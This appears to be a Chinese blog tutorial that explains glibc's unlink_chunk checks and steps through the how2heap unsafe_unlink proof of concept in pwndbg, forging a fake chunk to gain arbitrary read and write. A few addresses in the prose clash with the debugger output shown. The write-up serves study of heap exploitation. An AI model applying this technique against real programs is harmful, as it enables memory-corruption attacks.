实验环境
glibc源码:2.29
实验主机:ubuntu 16.04
实验glibc版本:2.23
unlink原理
unlink_chunk函数用于将空闲的chunk从所在的bin中取出.在malloc_consolidate()函数将fastbin中的空闲chunk整理到unsorted_bin时,在malloc()函数将unsorted中的空闲chunk整理到smallbin或者largebin中,以及在malloc()函数获取堆空间时,都有可能调用unlink_chunk().
/* Take a chunk off a bin list. */
static void
unlink_chunk (mstate av, mchunkptr p)
{
//检查chunk的size和next_chunk的prev_size是否一致
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
//检查fd和bk(双向链表完整性)
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
//检查largebin中next_size双向链表的完整性
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
因为待脱链空闲chunk p处于双向链表之中,所以有两个地方保存着p的大小,分别是p的size域和后一个chunk的prev_size,首先检查这两个size大小是否一致.
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
然后通过fd和bk获得p的前一个空闲chunk和后一个空闲chunk,并对双向链表的完整性进行检查
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
//检查fd和bk(双向链表完整性)
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
因为p只可能从largebin或者smallbin中脱链,而这两个bin都是双向链表,因此脱链需要分别修改前后chunk的fd或者bk.
fd->bk = bk;
bk->fd = fd;
如果是smallbin的话这会儿就算是脱链完成了,但对于largebin来说还需要修改fd_nextsize和bk_nextsize.首先是对next_size是否有效的检查
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
接着是对next_size双向链表的完整性检查.
//检查largebin中next_size双向链表的完整性
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
后面的操作比较直观,就不仔细说了.
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
unlink exploit
- 通过一个例子来学习一下,这里我选择的是how2heap系列教程的unsafe_unlink(删掉了一些输出语句).接下来写一下具体的调试步骤.
首先编译一下程序,我用的是ubuntu 16.04.
$ gcc -g unsafe_unlink.c -o unsafe_unlink
//unsafe_unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80;
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
chunk0_ptr[1] = malloc_size;
free(chunk1_ptr);
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
fprintf(stderr, "Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
fprintf(stderr, "New Value: %s\n",victim_string);
}
先设置断点,然后运行程序.到达断点之后进行单步执行
pwndbg> b main
Breakpoint 1 at 0x4006ae: file unsafe_unlink.c, line 10.
pwndbg> r
程序首先申请两个大小为0x80的chunk
0x602000 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602090 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602120 PREV_INUSE {
prev_size = 0,
size = 134881,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091 <--chunk0
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000091 <--chunk1
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1
0x602130: 0x0000000000000000 0x0000000000000000
假设这个时候存在溢出使得我们可以任意修改chunk0,我们就可以在chunk0之中构造出一个fake chunk.
由上面的源码可知我们有两个检查点需要绕过,第一个检查点就是对双向链表完整性的检查,即fd->bk != p || bk->fd != p.程序中使用了以下代码来绕过这个检查点
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
以前刚开始看到这的时候是一脸懵圈的,现在结合具体调试讲一讲.不过在开始具体讲解之前有必要先说一些关于堆的前置知识,熟悉的话可以自行跳过.首先,chunk在内存中的结构是这样的
An allocated chunk looks like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Free chunks are stored in circular doubly-linked lists, and look like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`head:' | Size of chunk, in bytes |A|0|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Forward pointer to next chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Back pointer to previous chunk in list |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused space (may be 0 bytes long) .
. .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
`foot:' | Size of chunk, in bytes |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|0|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
我们malloc()函数返回的指针就是chunk中的mem.知道了这些以后我们回到程序代码中,chunk0_ptr[2]指向fake chunk中的fd,chunk0_ptr[3]指向fake chunk中的bk.执行前chunk0的结构如下
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091 <--chunk0
0x602010: 0x0000000000000000 0x0000000000000000 <--fake chunk
0x602020: 0x0000000000000000 <--chunk0_ptr[2] 0x0000000000000000 <--chunk0_ptr[3]
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000091
我们的&chunk0_ptr数值为0x602070.(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602058,(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602060.执行后chunk0的结构如下
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091 <--chunk0
0x602010: 0x0000000000000000 0x0000000000000000 <--fake chunk
0x602020: 0x0000000000601058 <--chunk0_ptr[2] 0x0000000000601060 <--chunk0_ptr[3]
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000091
pwndbg> x/5gx 0x601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068 <completed.7594>: 0x0000000000000000 0x0000000000602010
0x601078: 0x0000000000000000
pwndbg> x/5gx 0x601060
0x601060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540 0x0000000000000000
0x601070 <chunk0_ptr>: 0x0000000000602010 0x0000000000000000
0x601080: 0x0000000000000000
现在,我们的fake chunk->fd为602058,由chunk结构可知,fake chunk->fd->bk为0x602070,其中保存着我们的fake chunk(603010).此时,fake chunk->fd->bk == fake chunk == 602010.同理可知fake chunk->bk->fd == fake chunk == 602010.就这样,我们已经绕过了第一个检查点.
- 接下来绕过第二个检查点,关于对size的检查即if (chunksize (p) != prev_size (next_chunk (p))).
这个只要利用chunk0的溢出就可以直接修改fake chunk的size以及chunk1的prev_size.另外为了对fake chunk使用unlink,我们还需要修改chunk1的prev_inuse标志位,将fake chunk伪造为一个free chunk.
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
chunk0_ptr[1] = malloc_size;
执行上述代码之后,chunk0以及chunk1的布局如下
pwndbg> x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091 <--chunk0
0x602010: 0x0000000000000000 0x0000000000000080 <--fake chunk
0x602020: 0x0000000000601058 0x0000000000601060
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000080 0x0000000000000090 <--chunk1
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000020ee1
0x602130: 0x0000000000000000 0x0000000000000000
这样的话,我们去free chunk1,系统会检测到fake chunk也是空闲chunk.然后系统会调用unlink将fake chunk从双向链表中拿出来(虽然这个双向链表是我们自己构建的).unlink过程如下
fd->bk = bk 相当于 chunk0_ptr = &chunk0_ptr - 16
bk->fd = fd 相当于 chunk0_ptr = &chunk0_ptr - 24
未执行unlink之前,chunk0_ptr的值是这样的
pwndbg> p chunk0_ptr
$1 = (uint64_t *) 0x602010
pwndbg> p &chunk0_ptr
$2 = (uint64_t **) 0x601070 <chunk0_ptr>
执行unlink之后,原本指向堆上fake chunk的chunk0_ptr指向了自身地址-24的地址.如下
pwndbg> p chunk0_ptr
$3 = (uint64_t *) 0x601058
pwndbg> p &chunk0_ptr
$4 = (uint64_t **) 0x601070 <chunk0_ptr>
现在,chunk0_ptr[3]的值为chunk0_ptr的值,即修改chunk0_ptr[3]就意味着修改chunk0_ptr指针指向的地方,chunk0_ptr成为了一个可以指向任意地址的指针.如果我们可以读取chunk0_ptr[0]的值,就有了任意地址读;如果我们可以写入chunk0_ptr[0],就有了任意地址写.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工
作,每周日13:00-18:00直播授课
最后于 2019-8-6 18:30
被0x2l编辑
,原因: